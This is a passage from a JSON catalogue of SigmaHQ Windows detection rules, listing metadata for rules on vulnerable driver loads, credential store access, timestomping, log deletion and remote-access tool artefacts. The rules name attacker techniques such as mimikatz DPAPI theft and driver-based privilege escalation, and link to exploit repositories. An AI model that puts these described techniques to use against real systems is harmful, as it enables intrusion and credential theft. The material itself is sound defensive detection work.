Tools Service Execution" - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "meta": { - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "creation_date": "2019/10/26", - "falsepositive": [ - "Highly unlikely" - ], - "filename": "driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", - "level": "critical", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ] - }, - "uuid": "d585ab5a-6a69-49a8-96e8-4a726a54de46", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation" - }, - { - "description": "Detects powershell script installed as a Service", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_powershell_script_installed_as_service.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", - "value": "PowerShell Scripts Run by a Services" - }, - { - "description": "Detects a driver load from a temporary directory", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/12", - "falsepositive": [ - "There is a relevant set of false positives depending on applications in the environment" - ], - "filename": "driver_load_susp_temp_use.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_susp_temp_use.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", - "value": "Suspicious Driver Load from Temp" - }, - { - "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_vuln_avast_anti_rootkit_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", - "value": "Vulnerable AVAST Anti Rootkit Driver Load" - }, - { - "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/05", - "falsepositive": [ - "Legitimate BIOS driver updates (should be rare)" - ], - "filename": "driver_load_vuln_dell_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml", - "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/" - ], - "tags": [ - "attack.privilege_escalation", - "cve.2021.21551", - "attack.t1543" - ] - }, - "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", - "value": "Vulnerable Dell BIOS Update Driver Load" - }, - { - "description": "Detects the load of known vulnerable drivers by hash value", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/18", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_vuln_drivers.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", - "https://github.com/jbaines-r7/dellicious", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", - "https://github.com/CaledoniaProject/drivers-binaries", - "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", - "https://github.com/tandasat/ExploitCapcom", - "https://github.com/stong/CVE-2020-15368", - "https://github.com/namazso/physmem_drivers", - "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml", - "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", - "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", - "value": "Vulnerable Driver Load" - }, - { - "description": "Detects the load of known vulnerable drivers via their names only.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/03", - "falsepositive": [ - "Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", - "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" - ], - "filename": "driver_load_vuln_drivers_names.yml", - "level": "medium", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://github.com/jbaines-r7/dellicious", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://github.com/CaledoniaProject/drivers-binaries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml", - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala", - "https://github.com/stong/CVE-2020-15368", - "https://github.com/namazso/physmem_drivers", - "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", - "value": "Vulnerable Driver Load By Name" - }, - { - "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/25", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_vuln_gigabyte_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml", - "https://github.com/fengjixuchui/gdrv-loader", - "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", - "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", - "https://twitter.com/malmoeb/status/1551449425842786306" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", - "value": "Vulnerable GIGABYTE Driver Load" - }, - { - "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "driver_load_vuln_hevd_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hevd_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "295c9289-acee-4503-a571-8eacaef36b28", - "value": "Vulnerable HackSys Extreme Vulnerable Driver Load" - }, - { - "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/26", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_vuln_hw_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml", - "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", - "value": "Vulnerable HW Driver Load" - }, - { - "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/10", - "falsepositive": [ - "Legitimate driver loads (old driver that didn't receive an update)" - ], - "filename": "driver_load_vuln_lenovo_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/alfarom256/CVE-2022-3699/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml", - "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities" - ], - "tags": [ - "attack.privilege_escalation", - "cve.2021.21551", - "attack.t1543" - ] - }, - "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", - "value": "Vulnerable Lenovo Driver Load" - }, - { - "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/26", - "falsepositive": [ - "Unknown" - ], - "filename": "driver_load_vuln_winring0_driver.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_winring0_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", - "value": "Vulnerable WinRing0 Driver Load" - }, - { - "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/30", - "falsepositive": [ - "Legitimate WinDivert driver usage" - ], - "filename": "driver_load_windivert.yml", - "level": "high", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", - "https://reqrypt.org/windivert-doc.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" - ], - "tags": [ - "attack.collection", - "attack.defense_evasion", - "attack.t1599.001", - "attack.t1557.001" - ] - }, - "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", - "value": "WinDivert Driver Load" - }, - { - "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", - "meta": { - "author": "frack113", - "creation_date": "2022/04/09", - "falsepositive": [ - "Antivirus, Anti-Spyware, Anti-Malware Software", - "Backup software", - "Software installed on other partitions other than \"C:\\\"", - "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" - ], - "filename": "file_access_win_browser_credential_stealing.yml", - "level": "medium", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/lclevy/firepwd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml", - "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users" - ], - "tags": [ - "attack.t1003", - "attack.credential_access" - ] - }, - "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", - "value": "Browser Credential Store Access" - }, - { - "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/11", - "falsepositive": [ - "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." - ], - "filename": "file_access_win_credential_manager_stealing.yml", - "level": "medium", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" - ], - "tags": [ - "attack.t1003", - "attack.credential_access" - ] - }, - "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", - "value": "Credential Manager Access" - }, - { - "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "file_access_win_dpapi_master_key_access.yml", - "level": "medium", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml", - "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ] - }, - "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", - "value": "Suspicious Access To Windows DPAPI Master Keys" - }, - { - "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/17", - "falsepositive": [ - "Unknown" - ], - "filename": "file_access_win_susp_cred_hist_access.yml", - "level": "medium", - "logsource.category": "file_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml", - "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", - "https://www.passcape.com/windows_password_recovery_dpapi_credhist" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ] - }, - "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", - "value": "Suspicious Access To Windows Credential History File" - }, - { - "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/08/12", - "falsepositive": [ - "Changes made to or by the local NTP service" - ], - "filename": "file_change_win_2022_timestomping.yml", - "level": "high", - "logsource.category": "file_change", - "logsource.product": "windows", - "refs": [ - "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" - ], - "tags": [ - "attack.t1070.006", - "attack.defense_evasion" - ] - }, - "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", - "value": "File Creation Date Changed to Another Year" - }, - { - "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "file_change_win_unusual_modification_by_dns_exe.yml", - "level": "high", - "logsource.category": "file_change", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml", - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ] - }, - "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", - "value": "Unusual File Modification by dns.exe" - }, - { - "description": "Detect DLL deletions from Spooler Service driver folder", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/07/01", - "falsepositive": [ - "Unknown" - ], - "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", - "level": "high", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/cube0x0/CVE-2021-1675", - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574", - "cve.2021.1675" - ] - }, - "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", - "value": "Windows Spooler Service Suspicious File Deletion" - }, - { - "description": "Deletion of log files is a known anti-forensic technique", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "file_delete_win_delete_appli_log.yml", - "level": "low", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", - "value": "Delete Log from Application" - }, - { - "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/02", - "falsepositive": [ - "Legitime usage" - ], - "filename": "file_delete_win_delete_backup_file.yml", - "level": "medium", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", - "value": "Deletes Backup Files" - }, - { - "description": "Detects the deletion of a prefetch file (AntiForensic)", - "meta": { - "author": "Cedric MAURUGEON", - "creation_date": "2021/09/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_delete_win_delete_prefetch.yml", - "level": "high", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", - "value": "Prefetch File Deletion" - }, - { - "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/26", - "falsepositive": [ - "Possible FP during log rotation" - ], - "filename": "file_delete_win_exchange_powershell_logs.yml", - "level": "high", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", - "value": "Exchange PowerShell Cmdlet History Deleted" - }, - { - "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Legitime usage of SDelete" - ], - "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", - "level": "medium", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml", - "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", - "https://github.com/OTRF/detection-hackathon-apt29/issues/9" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", - "value": "Sysinternals SDelete File Deletion" - }, - { - "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", - "level": "high", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml", - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ] - }, - "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", - "value": "Unusual File Deletion by dns.exe" - }, - { - "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/16", - "falsepositive": [ - "During uninstallation of the IIS service", - "During log rotation" - ], - "filename": "file_delete_win_webserver_access_logs_deleted.yml", - "level": "medium", - "logsource.category": "file_delete", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml", - "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070" - ] - }, - "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", - "value": "WebServer Access Logs Deleted" - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "meta": { - "author": "@SerkinValery", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_access_susp_teams.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml", - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ] - }, - "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", - "value": "Suspicious File Event With Teams Objects" - }, - { - "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/19", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_access_susp_unattend_xml.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", - "value": "Suspicious Unattend.xml File Access" - }, - { - "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", - "meta": { - "author": "@ROxPinTeddy", - "creation_date": "2020/05/12", - "falsepositive": [ - "Legitimate administrative use" - ], - "filename": "file_event_win_advanced_ip_scanner.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", - "value": "Advanced IP Scanner" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/11", - "falsepositive": [ - "Legitimate use" - ], - "filename": "file_event_win_anydesk_artefact.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", - "value": "Anydesk Temporary Artefact" - }, - { - "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/28", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_anydesk_writing_susp_binaries.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", - "value": "Suspicious Binary Writes Via AnyDesk" - }, - { - "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", - "meta": { - "author": "@41thexplorer, Microsoft Defender ATP", - "creation_date": "2018/11/20", - "falsepositive": "No established falsepositives", - "filename": "file_event_win_apt_unidentified_nov_18.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218.011" - ] - }, - "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", - "value": "Unidentified Attacker November 2018" - }, - { - "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", - "meta": { - "author": "C.J. May", - "creation_date": "2022/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_bloodhound_collection.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml", - "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection" - ], - 